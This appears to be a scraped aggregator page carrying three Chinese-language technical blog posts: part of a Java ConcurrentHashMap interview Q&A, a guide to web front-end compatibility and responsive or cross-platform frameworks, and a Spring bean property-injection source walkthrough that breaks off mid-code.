  • JDK 1.8 中使用 CAS + synchronized + Node + 紅黑樹。鎖粒度:Node(首結點)(實現 Map.Entry)。鎖粒度降低了。

18.針對 ConcurrentHashMap 鎖機制具體分析(JDK 1.7 VS JDK 1.8)?

JDK 1.7 中,採用分段鎖的機制,實現併發的更新操作,底層採用數組+鏈表的存儲結構,包括兩個核心靜態內部類 Segment 和 HashEntry。

①、Segment 繼承 ReentrantLock(重入鎖) 用來充當鎖的角色,每個 Segment 對象守護每個散列映射表的若干個桶;

②、HashEntry 用來封裝映射表的鍵-值對;

③、每個桶是由若干個 HashEntry 對象鏈接起來的鏈表

JDK 1.8 中,採用Node + CAS + Synchronized來保證併發安全。取消類 Segment,直接用 table 數組存儲鍵值對;當 HashEntry 對象組成的鏈表長度超過 TREEIFY_THRESHOLD 時,鏈錶轉換為紅黑樹,提升性能。底層變更為數組 + 鏈表 + 紅黑樹。

19.ConcurrentHashMap 在 JDK 1.8 中,為什麼要使用內置鎖 synchronized 來代替重入鎖 ReentrantLock?

①、粒度降低了;

②、JVM 開發團隊沒有放棄 synchronized,而且基於 JVM 的 synchronized 優化空間更大,更加自然。

③、在大量的數據操作下,對於 JVM 的內存壓力,基於 API 的 ReentrantLock 會開銷更多的內存。

20.ConcurrentHashMap 簡單介紹?

①、重要的常量:

private transient volatile int sizeCtl;

當為負數時,-1 表示正在初始化,-N 表示 N – 1 個線程正在進行擴容;

當為 0 時,表示 table 還沒有初始化;

當為其他正數時,表示初始化或者下一次進行擴容的大小。

②、數據結構:

Node 是存儲結構的基本單元,繼承 HashMap 中的 Entry,用於存儲數據;

TreeNode 繼承 Node,但是數據結構換成了二叉樹結構,是紅黑樹的存儲結構,用於紅黑樹中存儲數據;

TreeBin 是封裝 TreeNode 的容器,提供轉換紅黑樹的一些條件和鎖的控制。

③、存儲對象時(put() 方法):

如果沒有初始化,就調用 initTable() 方法來進行初始化;

如果沒有 hash 衝突就直接 CAS 無鎖插入;

如果需要擴容,就先進行擴容;

如果存在 hash 衝突,就加鎖來保證線程安全,兩種情況:一種是鏈表形式就直接遍歷到尾端插入,一種是紅黑樹就按照紅黑樹結構插入;

如果該鏈表的數量大於閥值 8,就要先轉換成紅黑樹的結構,break 再一次進入循環

如果添加成功就調用 addCount() 方法統計 size,並且檢查是否需要擴容。

④、擴容方法 transfer():默認容量為 16,擴容時,容量變為原來的兩倍。

helpTransfer():調用多個工作線程一起幫助進行擴容,這樣的效率就會更高。

⑤、獲取對象時(get()方法):

計算 hash 值,定位到該 table 索引位置,如果是首結點符合就返回;

如果遇到擴容時,會調用標記正在擴容結點 ForwardingNode.find()方法,查找該結點,匹配就返回;

以上都不符合的話,就往下遍歷結點,匹配就返回,否則最後就返回 null。

21.ConcurrentHashMap 的併發度是什麼?

程序運行時能夠同時更新 ConccurentHashMap 且不產生鎖競爭的最大線程數。默認為 16,且可以在構造函數中設置。

當用戶設置併發度時,ConcurrentHashMap 會使用大於等於該值的最小2冪指數作為實際併發度(假如用戶設置併發度為17,實際併發度則為32)

更多精彩面試題

如果有想看的小夥伴就給我留言吧。這就是本文的全部內容了。如果覺得寫的不錯,請記得收藏加轉發。還想跟我看更多數據結構和算法題的小夥伴們,記得關注我公眾號:程序零世界,Java 就這麼回事。

線程,多線程,線程池,線程上下文,鎖一鍵啟動線程

紅黑樹其實並不難,只是你還沒看過ta

JVM其實並沒有那麼難,你也該啃下TA了

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

Web前端兼容性指南

一、Web前端兼容性問題

一直以來,Web前端領域最大的問題就是兼容性問題,沒有之一。

 

前端兼容性問題分三類:

  • 瀏覽器兼容性
  • 屏幕分辨率兼容性
  • 跨平台兼容性

 

1、瀏覽器兼容性問題

第一次瀏覽器大戰發生在上個世紀90年代,微軟發布了IE瀏覽器,和網景公司的Netscape Navigator大打出手,1998年網景不得不將公司賣給AOL。沒有了對手的IE不思進取,W3C標準支持發展緩慢,為以後的IE兼容性災難埋下了伏筆。到2004年,IE的市場份額達到95%,但在此之後IE的份額逐步遭其他瀏覽器蠶食,主要包括Firefox,Chrome,Safari和Opera。.

 

2001年8月27日,微軟發布IE6,時隔五年直到2006年才發布了IE7。2009年3月19日,經歷了眾多測試版后,IE8最終發布,雖然IE8針對舊版IE在多方面做了很大改進,但在HTML5、CSS 3等標準支持方面仍落後於其他瀏覽器對手。這三個版本的IE是所有兼容性問題的最大根源,堪稱前端噩夢。

 

IE6、7、8不支持HTML5、CSS3、SVG標準,可被判定為“極難兼容”

IE9不支持Flex、Web Socket、WebGL,可被判定為“較難兼容”

IE10部分支持Flex(-ms-flexbox)、Web Socket,可被判定為“較易兼容”

IE11部分支持Flex、WebGL,可被判定為“較易兼容”

 

IE6、7、8、9可視為“老式瀏覽器”

IE10、11可視為“准現代瀏覽器”

Chrome、Firefox、Safari、Opera 、Edge可視為“現代瀏覽器”

 

瀏覽器與Windows版本份額

Statcounter的各項數據以2020年6月為基準。

http://gsa.statcounter.com/

 

 

 2、屏幕分辨率兼容性問題

在不同的屏幕分辨率,瀏覽器頁面展示差異很大。特別是屏幕分辨率較小時,容易發生布局錯亂。為了解決這個問題,響應式UI框架應運而生。

 

主流桌面屏幕分辨率寬度集中在1280~1920,高度集中在720~1080;

主流平板屏幕分辨率寬度集中在962~1280,高度集中在601~800。

主流移動屏幕分辨率寬度集中在360~414,高度集中在640~896。

 

典型的桌面屏幕分辨率:1920×1080

典型的便攜屏幕分辨率:1366×768

典型的平板屏幕分辨率:768×1024

典型的移動屏幕分辨率:360×640

 

Bootstrap定義(參考系是邏輯分辨率):

分辨率

設備名

典型屏幕

>=1400px

xxl 超超大屏設備

桌面屏幕

>=1200px

xl 超大屏設備

便攜屏幕

>=992px

lg 大屏設備

豎屏桌面屏幕、橫屏平板屏幕

>=768px

md 中屏設備

豎屏平板屏幕

>=576px

sm 小屏設備

橫屏移動屏幕

<576px

xs 超小屏(自動)設備

豎屏移動屏幕

注:Bootstrap5新增xxl,Bootstrap3中的lg>=1200px,無576px檔。

 

手機屏幕分辨率說明

由於手機屏幕尺寸過小,使用原始分辨率會使得頁面显示過小,因此使用了邏輯分辨率,用倍數放大的方法來保證兼容性。比如iOS app的UI資源區分@1x、@2x和@3x,這就是指原始分辨率對邏輯分辨率的倍數,被稱為設備像素比DPR。所以大部分人的手機分辨率都是1080×1920,在分類中卻被歸為了360×640。這個分辨率和CSS中的PX是一致的。

 

桌面屏幕分辨率說明

移動設備一開始就考慮了DPR,而Windwos桌面的分辨率由於歷史原因卻沒有這一概念,於是Windwos引入了DPI,最初是設置DPI,後來是設置DPI比例。比如設置DPI比例=125%,你可以查詢Chrome的window.devicePixelRatio,這時輸出1.25,這說明DPI比例=DPR。但是大部分老程序並不支持DPI(Unaware),所以當你設置高DPI時,只能等比放大,字模糊到眼要瞎,最後落得空有大屏只能用超低分辨率。由於Chrome支持DPI,所以並不擔心Web有DPI問題。但需要注意的是與手機屏幕分辨率不同,桌面分辨率要除以DPI比例,才是邏輯分辨率。如1920×1080設置DPI比例=1.25,邏輯分辨率實際為1536×864。

  

  

屏幕分辨率基礎概念說明

縮寫

全稱

說明

PX

Device Pixels

設備像素,指設備的物理像素

PX

CSS Pixels

CSS像素,指CSS樣式代碼中使用的邏輯像素

DOT

Dot

點,屏幕或打印紙上的點,等同物理像素

PT

Point

磅(傳統長度單位)為1/72英寸=0.35mm

PT

iOS Point

磅(iOS長度單位),為1/163英寸,等同於CSS邏輯像素

DP

Density independent Pixels

設備無關像素(Android長度單位),為1/160英寸,等同於CSS邏輯像素

SP

Scale independent Pixels

縮放無關像素(Android字體單位),等同於CSS邏輯像素,但文字尺寸可調(單獨縮放)

DPR

Device Pixel Ratio

設備像素比,指CSS邏輯像素對於物理像素的倍數

DPPX

Dots Per Pixel

等同於DPR

PPI

Pixel Per Inch

屏幕上每英寸(2.54厘米)的像素點個數

DPI

Dots Per Inch

屏幕或紙上每英寸(2.54厘米)的點個數,標準密度:傳統打印=72;Windows=96;Android=160;iOS=163。

DPIR

DPI Ratio

DPI縮放比例,指DPI對於Windows標準DPI的倍數=DPI/96,等同於DPR

注:各廠商概念有重名現象,請注意區分。

 

各平台屏幕分辨率份額

  

3、跨平台兼容性問題 

隨着移動和平板市場的日益發展,Web在桌面、平板、移動平台上的兼容性問題日益突出。由於移動和平板是觸摸式操作,與桌面的鼠標操作方式有很大差異,因此在不同平台上要做相應修改。為了解決這個問題,誕生了跨平台框架,在不同平台上,外觀、布局、操作都有差異化修改。

 

各平台份額

  

二、前端里程碑框架

在前端領域,隨着技術的不斷進步,逐步誕生了一些里程碑式的前端框架。這些前端框架,大致也是隨着兼容性問題的發生、發展而誕生、發展的。

 

這些框架代表了前端應用當時先進、成熟、主流的開發方式與發展方向,兼容性問題也在這些框架的基礎之上不斷得到解決,大致也分為三個階段:

一、DOM操作框架,代表框架:jQuery

二、響應式框架,代表框架:Bootstrap

三、前端MVC框架,代表框架:React、Angular、Vue

 

1、JQuery

2006年1月John Resig等人創建了jQuery;8月,jQuery的第一個穩定版本。jQuery是DOM操作時代前端框架最優秀,也幾乎是唯一代表;但是在以React為代表的新式前端框架崛起之後,迅速沒落。

 

  • JQuery 1.x兼容IE6+瀏覽器
  • JQuery 2.x兼容IE9+瀏覽器
  • JQuery 3.x兼容IE9+瀏覽器

 

2、Bootstrap

Bootstrap原名Twitter Blueprint,由Mark Otto和Jacob Thornton開發,最經典的響應式CSS框架,在2011年8月19日作為開源項目發布。其核心是16列布局柵格系統,使用媒體查詢設定閾值為超小屏幕,小屏幕,中等屏幕,大屏幕,超大屏幕創建不同的樣式。

 

  • Bootstrap 2兼容IE7+瀏覽器
  • Bootstrap 3兼容IE8+瀏覽器
  • Bootstrap 4兼容IE10+瀏覽器
  • Bootstrap 5不兼容IE瀏覽器

 

3、React

React 起源於 Facebook 的內部項目,在前端MVC框架大潮中誕生並走紅。2013年5月開源,憑藉Virtual Dom,JSX,Flux,Native等一大批創新特性,迅速吸引了大量開發人員,至今仍是最先進的前端JS框架。

 

4、Angular

AngularJS 誕生於2009年,由Misko Hevery 等人創建,後為Google所收購。由於Google不差錢,所以AngularJS經歷顛覆性升級為Angular。Angular最大的特點就是大而全。

 

5、Vue

2013年,在Google工作的尤雨溪,受到Angular的啟發,從中提取自己所喜歡的部分,開發出了一款輕量框架,最初命名為Seed,后更名為Vue。

 

三、瀏覽器兼容框架

在前端發展的初期,大多數開發最關注的問題就是瀏覽器兼容問題,迫切需要兼容所有瀏覽器的JS和CSS框架。這階段除了橫空出世的jQuery,還有一些其它方面的兼容框架。

 

1、normalize.css

讓不同的瀏覽器在渲染網頁元素的時候形式更統一。

 

2、html5shiv.js

IE6~IE8識別HTML5標籤,並且可以添加CSS樣式。

 

3、respond.js

使IE6~IE8瀏覽器支持媒體查詢。

 

四、響應式框架

有了jQuery等兼容框架的基礎,開發人員的關注點,逐漸轉移到越來越豐富的屏幕分辨率上,除開Bootstrap一家獨大,越來越多的響應式框架也在奮起直追。

 

1、Semantic UI

https://github.com/semantic-org/semantic-ui

Semantic 是一個設計漂亮的響應式布局的語義化框架。

 

2、Bulma

https://github.com/jgthms/bulma

基於 Flexbox 的現代 CSS 框架

 

3、Tailwind

https://github.com/tailwindcss/tailwindcss

Tailwind是一個底層CSS 框架,快速 UI 開發的實用工具集,提供了高度可組合的應用程序類,可幫助開發者輕鬆構建複雜的用戶界面。另外Tailwind + Styled Component 簡直是絕配(摘自知乎https://www.zhihu.com/question/337939566)。

 

4、Materialize

https://github.com/Dogfalo/materialize

A CSS Framework based on Material Design.

 

5、Foundation

https://github.com/foundation/foundation-sites

The most advanced responsive front-end framework in the world.

 

6、Pure.css

https://github.com/pure-css/pure

A set of small, responsive CSS modules

 

7、YAMLCSS

https://github.com/yamlcss/yaml

YAML is a modular CSS framework for truly flexible, accessible and responsive websites.

 

兼容IE6+瀏覽器(能兼容IE6的太稀少了)

 

五、跨平台框架

自2009年以來,由於Node.js生態的不斷髮展,前端開發的勢力大漲, AngularJS,BackboneJS,KnockoutJS等一批前端MVC框架開始出現。最終伴隨着React、Angular、Vue等框架的脫穎而出,用前端框架開發移動、桌面應用的野心開始暴漲,開始關注不同平台的差異化,越來越多的跨平台框架開始出現。

 

1、Framework7

https://github.com/framework7io/framework7

Build iOS, Android & Desktop apps

 

 從上圖可以看出,桌面版本比移動版本更緊湊,控件風格跟所在平台近似。支持三種主題:ios、 md、 aurora對應不同平台。

 

2、Ionic

https://github.com/ionic-team/ionic

build mobile and desktop apps

 

 從上圖可以看出,主要針對移動平台優化,但通過API支持多種平台。

 

3、Onsen UI

https://github.com/OnsenUI/OnsenUI

develop HTML5 hybrid and mobile web apps

 

 從上圖可以看出,主要針對移動平台優化,但通過API支持多種平台。

 

4、Quasar Framework

https://github.com/quasarframework/quasar

基於Vue構建響應式網站、PWA、SSR、移動和桌面應用

 

 Quasar將一些輔助CSS類附加到document.body:如desktop、mobile、touch、platform-[ios]、within-iframe等


5、UNI-APP
 

https://github.com/dcloudio/uni-app

使用 Vue.js 開發所有前端應用的框架

 

 從上圖可以看出,三種平台比較一致,但移動版本還比桌面版本還緊湊是什麼意思?

 

6、橫向對比

框架

桌面優化

移動優化

移動一致

支持框架

Framework7

優秀

優秀

優秀

最多

Ionic

一般

優秀

一般

較多

Onsen UI

一般

優秀

一般

較多

Quasar

良好

優秀

良好

Vue

UNI-APP

一般

優秀

優秀

Vue

 

六、總結

兼容性問題總是伴隨着平台的擴張而產生的,Web開發面臨的終極問題就是多平台兼容性問題,根據不同產品,不同階段做部分取捨,應用不同的框架而已。需要支持的平台,決定了你的選擇。

 

新的框架或舊框架的新版本基本都不再支持IE,但國內還有5.65% 的IE用戶,而且3.29%的WinXP,46.79%的Win7都是潛在的IE用戶,所以可將其做為一個平台看待。

  • IE Web
  • Desktop Web
  • Mobile Web
  • Tablet Web
  • Desktop Hybrid
  • Mobile Hybrid
  • Tablet Hybrid

注:React Native代表的Native技術不在本次討論之列

 

1、瀏覽器兼容策略

國內XP用戶還有3.29%,XP用戶既升級不了IE9,也無法安裝新版本Chrome和Firefox 。而IE用戶還有 5.65%,考慮到Windows用戶為87%,所以IE9+的份額應該要少於5.65%-3.29%*87%=2.79%。也就是說IE8以下的用戶要多於IE8以上的用戶。所以支持單獨支持IE9+ 瀏覽器沒有實際意義,要麼支持IE6,要麼不支持IE,。

 

看看知名網站對IE8的兼容性,

  • 京東會提示“溫馨提示:您當前的瀏覽器版本過低,存在安全風險,建議升級瀏覽器”,但是頁面完全可以正確显示,幾乎沒有什麼異常發生,看來兼容工作很到位。
  • 淘寶會出現很多頁面異常,說明IE兼容工作要求不高,基本正常即可,只是象徵性的加了幾條兼容性內容。
  • 去哪兒網也會出現很多頁面異常,但頁面布局還是正常的,看來也是儘力而為,不做要求。
  • 騰訊的頁面只有一個立即更新按鈕,一貫地友好。
  • 知乎直接404,好吧,強大。

 

兼容IE的建議:

一、建議不做任何兼容,IE6~11直接显示升級瀏覽器按鈕。

二、如果一定要兼容,後端返回IE專用頁面,至少兼容IE8。

 

2、屏幕分辨率兼容策略

屏幕分辨率最少要考慮兼容便攜屏幕和移動屏幕兩種。可以參考去哪兒網的做法,把內容分成三類:移動端主菜單與導航欄;主要內容;擴展內容。屏幕分辨率高於480,显示主要內容、擴展內容。屏幕分辨率低於480,显示移動端主菜單與導航欄、主要內容。

 

如果你的應用是管理軟件,則最好考慮兼容桌面屏幕、便攜屏幕和移動屏幕三種。Bootstrap5新增了超超大屏幕,則就是基於這種考慮。這時候,可以加入側邊欄自動隱藏/打開,主要內容用Flex方式組織,可以在頁面中並排显示多頁(類似於Word的頁面視圖)。

 

3、跨平台兼容策略

大型網站,手機網站與桌面網站是不同的入口,因此不存在兼容,是兩個單獨的應用程序。對於流量較小的網站,平台的兼容策略主要是應用響應式框架,加上移動端主菜單與導航欄即可,其次可以選用跨平台框架來實現在不同平台的差異化體驗。沒有這些框架對於Web網站來說不造成大的體驗下降。而如果需要開發混合移動、桌面應用,則需要認真考慮這些框架,畢竟用戶對本地應用的體驗期待要高很多。

 

 (全文完)

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

這篇文章,我們來談一談Spring中的屬性注入

本系列文章:

讀源碼,我們可以從第一行讀起

你知道Spring是怎麼解析配置類的嗎?

配置類為什麼要添加@Configuration註解?

談談Spring中的對象跟Bean,你知道Spring怎麼創建對象的嗎?

推薦閱讀:

Spring官網閱讀 | 總結篇

Spring雜談

本系列文章將會帶你一行行的將Spring的源碼吃透,推薦閱讀的文章是閱讀源碼的基礎!

前言

在前面的文章中已經知道了Spring是如何將一個對象創建出來的,那麼緊接着,Spring就需要將這個對象變成一個真正的Bean了,這個過程主要分為兩步

  1. 屬性注入
  2. 初始化

在這兩個過程中,Bean的後置處理器會穿插執行,其中有些後置處理器是為了幫助完成屬性注入或者初始化的,而有些後置處理器是Spring提供給程序員進行擴展的,當然,這二者並不衝突。整個Spring創建對象並將對象變成Bean的過程就是我們經常提到了Spring中Bean的生命周期。當然,本系列源碼分析的文章不會再對生命周期的概念做過多闡述了,如果大家有這方面的需求的話可以參考我之前的文章,或者關注我的公眾號:程序員DMZ

Spring官網閱讀(九)Spring中Bean的生命周期(上)

Spring官網閱讀(十)Spring中Bean的生命周期(下)

源碼分析

閑話不再多說,我們正式進入源碼分析階段,本文重點要分析的方法就是org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory#doCreateBean,其源碼如下:

doCreateBean

	protected Object doCreateBean(final String beanName, final RootBeanDefinition mbd, final @Nullable Object[] args)
			throws BeanCreationException {

		// 創建對象的過程在上篇文章中我們已經介紹過了,這裏不再贅述
		BeanWrapper instanceWrapper = null;
		if (mbd.isSingleton()) {
			instanceWrapper = this.factoryBeanInstanceCache.remove(beanName);
		}
		if (instanceWrapper == null) {
			instanceWrapper = createBeanInstance(beanName, mbd, args);
		}
        
        // 獲取到創建的這個對象
		final Object bean = instanceWrapper.getWrappedInstance();
		Class<?> beanType = instanceWrapper.getWrappedClass();
		if (beanType != NullBean.class) {
			mbd.resolvedTargetType = beanType;
		}

		// Allow post-processors to modify the merged bean definition.
        // 按照官方的註釋來說,這個地方是Spring提供的一個擴展點,對程序員而言,我們可以通過一個實現了MergedBeanDefinitionPostProcessor的後置處理器來修改bd中的屬性,從而影響到後續的Bean的生命周期
        // 不過官方自己實現的後置處理器並沒有去修改bd,而是調用了applyMergedBeanDefinitionPostProcessors方法
        // 這個方法名直譯過來就是-應用合併后的bd,也就是說它這裏只是對bd做了進一步的使用而沒有真正的修改
		synchronized (mbd.postProcessingLock) {
           // bd只允許被處理一次
			if (!mbd.postProcessed) {
				try {
                    // 應用合併后的bd
					applyMergedBeanDefinitionPostProcessors(mbd, beanType, beanName);
				}
				catch (Throwable ex) {
					throw new BeanCreationException(mbd.getResourceDescription(), beanName,
							"Post-processing of merged bean definition failed", ex);
				}
                // 標註這個bd已經被MergedBeanDefinitionPostProcessor的後置處理器處理過
                // 那麼在第二次創建Bean的時候,不會再次調用applyMergedBeanDefinitionPostProcessors
				mbd.postProcessed = true;
			}
		}

		// 這裡是用來出來循環依賴的,關於循環以來,在介紹完正常的Bean的創建后,單獨用一篇文章說明
        // 這裏不做過多解釋
		boolean earlySingletonExposure = (mbd.isSingleton() && this.allowCircularReferences &&
				isSingletonCurrentlyInCreation(beanName));
		if (earlySingletonExposure) {
			if (logger.isTraceEnabled()) {
				logger.trace("Eagerly caching bean '" + beanName +
						"' to allow for resolving potential circular references");
			}
			addSingletonFactory(beanName, () -> getEarlyBeanReference(beanName, mbd, bean));
		}


		Object exposedObject = bean;
		try {
            // 我們這篇文章重點要分析的就是populateBean方法,在這個方法中完成了屬性注入
			populateBean(beanName, mbd, instanceWrapper);
            // 初始化
			exposedObject = initializeBean(beanName, exposedObject, mbd);
		}
		catch (Throwable ex) {
			// 省略異常代碼
		}

		// 後續代碼不在本文探討範圍內了,暫不考慮

		return exposedObject;
	}

applyMergedBeanDefinitionPostProcessors

源碼如下:

// 可以看到這個方法的代碼還是很簡單的,就是調用了MergedBeanDefinitionPostProcessor的postProcessMergedBeanDefinition方法
protected void applyMergedBeanDefinitionPostProcessors(RootBeanDefinition mbd, Class<?> beanType, String beanName) {
    for (BeanPostProcessor bp : getBeanPostProcessors()) {
        if (bp instanceof MergedBeanDefinitionPostProcessor) {
            MergedBeanDefinitionPostProcessor bdp = (MergedBeanDefinitionPostProcessor) bp;
            bdp.postProcessMergedBeanDefinition(mbd, beanType, beanName);
        }
    }
}

這個時候我們就要思考一個問題,容器中現在有哪些後置處理器是MergedBeanDefinitionPostProcessor呢?

查看這個方法的實現類我們會發現總共就這麼幾個類實現了MergedBeanDefinitionPostProcessor接口。實際上除了ApplicationListenerDetector之外,其餘的後置處理器的邏輯都差不多。我們在這裏我們主要就分析兩個後置處理

  1. ApplicationListenerDetector
  2. AutowiredAnnotationBeanPostProcessor

ApplicationListenerDetector

首先,我們來ApplicationListenerDetector,這個類在之前的文章中也多次提到過了,它的作用是用來處理嵌套Bean的情況,主要是保證能將嵌套在Bean標籤中的ApplicationListener也能添加到容器的監聽器集合中去。我們先通過一個例子來感受下這個後置處理器的作用吧

配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
	   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

	<bean class="com.dmz.source.populate.service.DmzService" id="dmzService">
		<constructor-arg name="orderService">
			<bean class="com.dmz.source.populate.service.OrderService"/>
		</constructor-arg>
	</bean>
</beans>

示例代碼:

// 事件
public class DmzEvent extends ApplicationEvent {
	public DmzEvent(Object source) {
		super(source);
	}
}

public class DmzService {

	OrderService orderService;

	public DmzService(OrderService orderService) {
		this.orderService = orderService;
	}
}
// 實現ApplicationListener接口
public class OrderService implements ApplicationListener<DmzEvent> {
	@Override
	public void onApplicationEvent(DmzEvent event) {
		System.out.println(event.getSource());
	}
}

public class Main {
	public static void main(String[] args) {
		ClassPathXmlApplicationContext cc = new ClassPathXmlApplicationContext("application-populate.xml");
		cc.publishEvent(new DmzEvent("my name is dmz"));
	}
}

// 程序運行結果,控制台打印:my name is dmz

說明OrderService已經被添加到了容器的監聽器集合中。但是請注意,在這種情況下,如果要使OrderService能夠執行監聽的邏輯,必須要滿足下面這兩個條件

  • 外部的Bean要是單例的,對於我們的例子而言就是dmzService
  • 內嵌的Bean也必須是單例的,在上面的例子中也就是orderService必須是單例

另外需要注意的是,這種嵌套的Bean比較特殊,它雖然由Spring創建,但是確不存在於容器中,就是說我們不能將其作為依賴注入到別的Bean中。

AutowiredAnnotationBeanPostProcessor

對應源碼如下:

public void postProcessMergedBeanDefinition(RootBeanDefinition beanDefinition, Class<?> beanType, String beanName) {
    // 找到注入的元數據,第一次是構建,後續可以直接從緩存中拿
    // 註解元數據其實就是當前這個類中的所有需要進行注入的“點”的集合,
    // 注入點(InjectedElement)包含兩種,字段/方法
    // 對應的就是AutowiredFieldElement/AutowiredMethodElement
    InjectionMetadata metadata = findAutowiringMetadata(beanName, beanType, null);
    // 排除掉被外部管理的注入點
    metadata.checkConfigMembers(beanDefinition);
}

上面代碼的核心邏輯就是

  • 找到所有的注入點,其實就是被@Autowired註解修飾的方法以及字段,同時靜態的方法以及字段也會被排除
  • 排除掉被外部管理的注入點,在後續的源碼分析中我們再細說

findAutowiringMetadata

// 這個方法的核心邏輯就是先從緩存中獲取已經解析好的注入點信息,很明顯,在原型情況下才會使用緩存
// 創建注入點的核心邏輯在buildAutowiringMetadata方法中
private InjectionMetadata findAutowiringMetadata(String beanName, Class<?> clazz, @Nullable PropertyValues pvs) {
    String cacheKey = (StringUtils.hasLength(beanName) ? beanName : clazz.getName());
    InjectionMetadata metadata = this.injectionMetadataCache.get(cacheKey);
    // 可能我們會修改bd中的class屬性,那麼InjectionMetadata中的注入點信息也需要刷新
    if (InjectionMetadata.needsRefresh(metadata, clazz)) {
        synchronized (this.injectionMetadataCache) {
            metadata = this.injectionMetadataCache.get(cacheKey);
            if (InjectionMetadata.needsRefresh(metadata, clazz)) {
                if (metadata != null) {
                    metadata.clear(pvs);
                }
                // 這裏真正創建注入點
                metadata = buildAutowiringMetadata(clazz);
                this.injectionMetadataCache.put(cacheKey, metadata);
            }
        }
    }
    return metadata;
}

buildAutowiringMetadata

// 我們應用中使用@Autowired註解標註在字段上或者setter方法能夠完成屬性注入
// 就是因為這個方法將@Autowired註解標註的方法以及字段封裝成InjectionMetadata
// 在後續階段會調用InjectionMetadata的inject方法進行注入
private InjectionMetadata buildAutowiringMetadata(final Class<?> clazz) {
    List<InjectionMetadata.InjectedElement> elements = new ArrayList<>();
    Class<?> targetClass = clazz;

    do {
        final List<InjectionMetadata.InjectedElement> currElements = new ArrayList<>();
		// 處理所有的被@AutoWired/@Value註解標註的字段
        ReflectionUtils.doWithLocalFields(targetClass, field -> {
            AnnotationAttributes ann = findAutowiredAnnotation(field);
            if (ann != null) {
                // 靜態字段會直接跳過
                if (Modifier.isStatic(field.getModifiers())) {
                    // 省略日誌打印
                    return;
                }
                // 得到@AutoWired註解中的required屬性
                boolean required = determineRequiredStatus(ann);
                currElements.add(new AutowiredFieldElement(field, required));
            }
        });
		// 處理所有的被@AutoWired註解標註的方法,相對於字段而言,這裏需要對橋接方法進行特殊處理
        ReflectionUtils.doWithLocalMethods(targetClass, method -> {
            // 只處理一種特殊的橋接場景,其餘的橋接方法都會被忽略
            Method bridgedMethod = BridgeMethodResolver.findBridgedMethod(method);
            if (!BridgeMethodResolver.isVisibilityBridgeMethodPair(method, bridgedMethod)) {
                return;
            }
            AnnotationAttributes ann = findAutowiredAnnotation(bridgedMethod);
            // 處理方法時需要注意,當父類中的方法被子類重寫時,如果子父類中的方法都加了@Autowired
            // 那麼此時父類方法不能被處理,即不能被封裝成一個AutowiredMethodElement
            if (ann != null && method.equals(ClassUtils.getMostSpecificMethod(method, clazz))) {
                if (Modifier.isStatic(method.getModifiers())) {
                    // 省略日誌打印
                    return;
                }
                if (method.getParameterCount() == 0) {
                    // 當方法的參數數量為0時,雖然不需要進行注入,但是還是會把這個方法作為注入點使用
                    // 這個方法最終還是會被調用
                    if (logger.isInfoEnabled()) {
                        logger.info("Autowired annotation should only be used on methods with parameters: " +
                                    method);
                    }
                }
                boolean required = determineRequiredStatus(ann);
                // PropertyDescriptor: 屬性描述符
                // 就是通過解析getter/setter方法,例如void getA()會解析得到一個屬性名稱為a
                // readMethod為getA的PropertyDescriptor,
                // 在《Spring官網閱讀(十四)Spring中的BeanWrapper及類型轉換》文中已經做過解釋
                // 這裏不再贅述,這裏之所以來這麼一次查找是因為當XML中對這個屬性進行了配置后,
                // 那麼就不會進行自動注入了,XML中显示指定的屬性優先級高於註解
                PropertyDescriptor pd = BeanUtils.findPropertyForMethod(bridgedMethod, clazz);		   // 構造一個對應的AutowiredMethodElement,後續這個方法會被執行
                // 方法的參數會被自動注入,這裏不限於setter方法
                currElements.add(new AutowiredMethodElement(method, required, pd));
            }
        });
		// 會處理父類中字段上及方法上的@AutoWired註解,並且父類的優先級比子類高
        elements.addAll(0, currElements);
        targetClass = targetClass.getSuperclass();
    }
    while (targetClass != null && targetClass != Object.class);

    return new InjectionMetadata(clazz, elements);
}
難點代碼分析

上面的代碼整體來說應該很簡單,就如我們之前所說的,處理帶有@Autowired註解的字段及方法,同時會過濾掉所有的靜態字段及方法。上面複雜的地方在於對橋接方法的處理,可能大部分人都沒辦法理解這幾行代碼:

// 第一行
Method bridgedMethod = BridgeMethodResolver.findBridgedMethod(method);

// 第二行
if (!BridgeMethodResolver.isVisibilityBridgeMethodPair(method, bridgedMethod)) {
    return;
}

// 第三行
if (ann != null && method.equals(ClassUtils.getMostSpecificMethod(method, clazz))) {

}

要理解這些代碼,首先你得知道什麼是橋接,為此我已經寫好了一篇文章:

Spring雜談 | 從橋接方法到JVM方法調用

除了在上面的文章中提到的橋接方法外,還有一種特殊的情況

// A類跟B類在同一個包下,A不是public的
class A {
	public void test(){

	}
}

// 在B中會生成一個跟A中的方法描述符(參數+返回值)一模一樣的橋接方法
// 這個橋接方法實際上就是調用父類中的方法
// 具體可以參考:https://bugs.java.com/bugdatabase/view_bug.do?bug_id=63424113
public class B extends A {
}

在理解了什麼是橋接之後,那麼上邊的第一行代碼你應該就能看懂了,就以上面的代碼為例,B中會生成一個橋接方法,對應的被橋接的方法就是A中的test方法。

接着,我們看看第二行代碼

public static boolean isVisibilityBridgeMethodPair(Method bridgeMethod, Method bridgedMethod) {
    // 說明這個方法本身就不是橋接方法,直接返回true
    if (bridgeMethod == bridgedMethod) {
        return true;
    }
    // 說明是橋接方法,並且方法描述符一致
    // 當且僅當是上面例子中描述的這種橋接的時候這個判斷才會滿足
    // 正常來說橋接方法跟被橋接方法的返回值+參數類型肯定不一致
    // 所以這個判斷會過濾掉其餘的所有類型的橋接方法
    // 只會保留本文提及這種特殊情況下產生的橋接方法
